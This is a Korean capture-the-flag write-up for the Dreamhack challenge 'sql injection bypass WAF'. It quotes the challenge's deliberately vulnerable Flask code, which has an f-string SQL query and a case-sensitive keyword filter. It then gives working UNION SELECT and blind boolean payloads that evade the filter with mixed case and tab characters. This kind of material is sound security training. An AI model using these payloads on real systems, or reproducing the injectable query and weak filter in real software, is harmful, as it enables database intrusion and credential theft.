본문 바로가기
드림핵

[드림핵] sql injection bypass WAF

by jwcs 2023. 5. 15.
728x90

https://dreamhack.io/wargame/challenges/415/

 

sql injection bypass WAF

Description Exercise: SQL Injection Bypass WAF에서 실습하는 문제입니다.

dreamhack.io

 

방화벽 우회 injection이다.

 

/

 

첫 화면이다.

 

바로 코드로 넘어가자.

 

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

코드를 해석해보자.

uid 변수를 가져와서 check_WAF를 통해 필터링을 한다.

필터링 이후 쿼리문에 넣어 실행시킨다.

결과값 한 행을 가져와 2번째 열의 값을 result로 출력한다.

 

따라서 guest 입력시 두 번째 칼럼값인 guest가 출력된다. 왜 두번재 칼럼 값이 uid인지는 맨 아래에 서술하겠다.

 

취약점을 분석해보면

필터링이 대소문자 구분을 하지 않았다. 따라서 대문자로 입력시 필터링되지 않는다.

띄어쓰기 필터링이 되어있다. 대체제로 주석 /**/ 역시 필터링 되어 있다. 하지만 url 인코딩 값인 %09(tab에 해당)로 대체 가능하다.

 

인젝션 코드를 짜보면 이렇다.

'Union   Select    null,upw,null   From   User   where   uid="Admin"#

(띄어쓰기가 아닌 tab이다.)

url인코딩 된 값으로 바꾸자면

%27Union%09Select%09null,upw,null%09From%09User%09where%09uid="Admin"%23

 

위의 값은 입력창에, 아래 값은 url에 입력하면 된다.

 

짜자잔

 

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Q. 왜 union select 문에 upw가 아닌 null,upw,null로 입력하는 것인가?

 

A. union 연산자 이전에 select문과 union 연산자 이후에 select문에서 반환하는 칼럼의 수가 다르면 에러가 발생한다. 그렇다면 왜 칼럼의 수를 3으로 맞추는 것일까?

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;

데이터베이스에 관한 내용이다. create table user 부분을 보면 칼럼의 수가 idx, uid, upw로 3개인 것을 볼 수 있다. 따라서 칼럼의 수를 3개로 맞춰야 한다.

 

Q. 왜 guest를 입력하면 result 값으로 guest가 나오는가?

 

A. 위 코드에서 확인 가능하듯이 첫 번째 칼럼의 값은 idx이다. 따라서 두 번째 칼럼의 값은 uid이므로 uid값인 guest가 출력 되는 것이다.

 

Q. 특수문주 '은 url창에 입력해도 url인코딩 된 값으로 재입력되는 반면 #은 왜 그대로 #으로 입력되는가?

 

A. url에서 #은 프래그먼트 식별자(fragment identifier)를 나타내는 문자이다. 프래그먼트 식별자는 URL에서 페이지 내에서 특정 위치를 가리키는 데 사용되며, 브라우저에서 웹 페이지를 불러올 때 해당 위치로 스크롤링한다. 예를 들어, https://example.com/index.html#section1 이라는 URL은 example.com 도메인의 index.html 페이지에서 section1이라는 프래그먼트 식별자를 가리킨다.

 반면에 '은 url에서 특별한 역할이 없다. 따라서 자동적으로 인코딩이 되어 들어가는 것이고, #은 특수한 목적으로 사용된것으로 간주하여 자동적으로 인코딩이 되지 않는 것이다.

 따라서 입력창에 입력할 때는 #을 입력해도 되지만 url에 입력할 때는 인코딩된 값인 %23을 입력해야 하는 것이다.

 

Q. 칼럼 값에 UPW를 입력하든 upw를 입력하든 에러없이 입력이 되는데, 테이블 값으로 user를 입력하면 정상적으로 출력되는 반면, USER를 입력하면 에러가 뜨는 이유가 무엇인가?

 

A.

MySQL에서 데이터베이스, 테이블, 칼럼, 그리고 앨리어스의 이름은 기본적으로 대소문자를 구분하지 않는 것이 기본 설정입니다. 이는 MySQL이 주로 사용되는 운영 체제인 Windows에서 대소문자를 구분하지 않기 때문입니다. 그러나, UNIX 및 UNIX와 유사한 시스템에서는 파일 시스템이 대소문자를 구분하기 때문에 MySQL의 데이터베이스와 테이블 이름도 대소문자를 구분합니다.

그러나 칼럼명과 앨리어스는 SQL 쿼리 내에서 대소문자를 구분하지 않습니다. 즉, 쿼리를 작성할 때 칼럼명을 UserID, userid, UserId 등으로 다양하게 써도 MySQL은 모두 같은 칼럼을 가리키는 것으로 간주합니다.

이것은 MySQL의 lower_case_table_names 시스템 변수에 의해 제어됩니다. 이 설정은 다음과 같이 세 가지 값을 가질 수 있습니다:

  • 0 (기본값 - UNIX): 테이블 생성 시 사용된 대소문자를 그대로 사용하며, 대소문자를 구분합니다.
  • 1 (기본값 - Windows): 모든 테이블 이름을 소문자로 저장하고 대소문자를 구분하지 않습니다.
  • 2 (macOS): 테이블 생성 시 사용된 대소문자를 그대로 사용하지만, 대소문자를 구분하지 않습니다.

따라서, 칼럼명에 대한 대소문자 구분 여부는 MySQL의 설정에 관계없이 일관되게 구분하지 않습니다. 그러나 항상 데이터베이스의 특정 설정을 확인하고, 테이블 및 칼럼명을 일관되게 사용하는 것이 좋은 습관입니다.

 

 

다른 풀이)Admin' && upw like "D%"# 로 참 거짓을 이용해 문제를 풀 수도 있을 것으로 보인다.

 

728x90
반응형

'드림핵' 카테고리의 다른 글

[드림핵] pathtraversal 풀이  (0) 2023.05.30
[드림핵] XSS Filtering Bypass  (0) 2023.05.15
[드림핵]error based sql injection 풀이  (0) 2023.05.10
[드림핵]blind-command 풀이  (0) 2023.03.12
[드림핵]simple_sqli 풀이  (0) 2023.03.11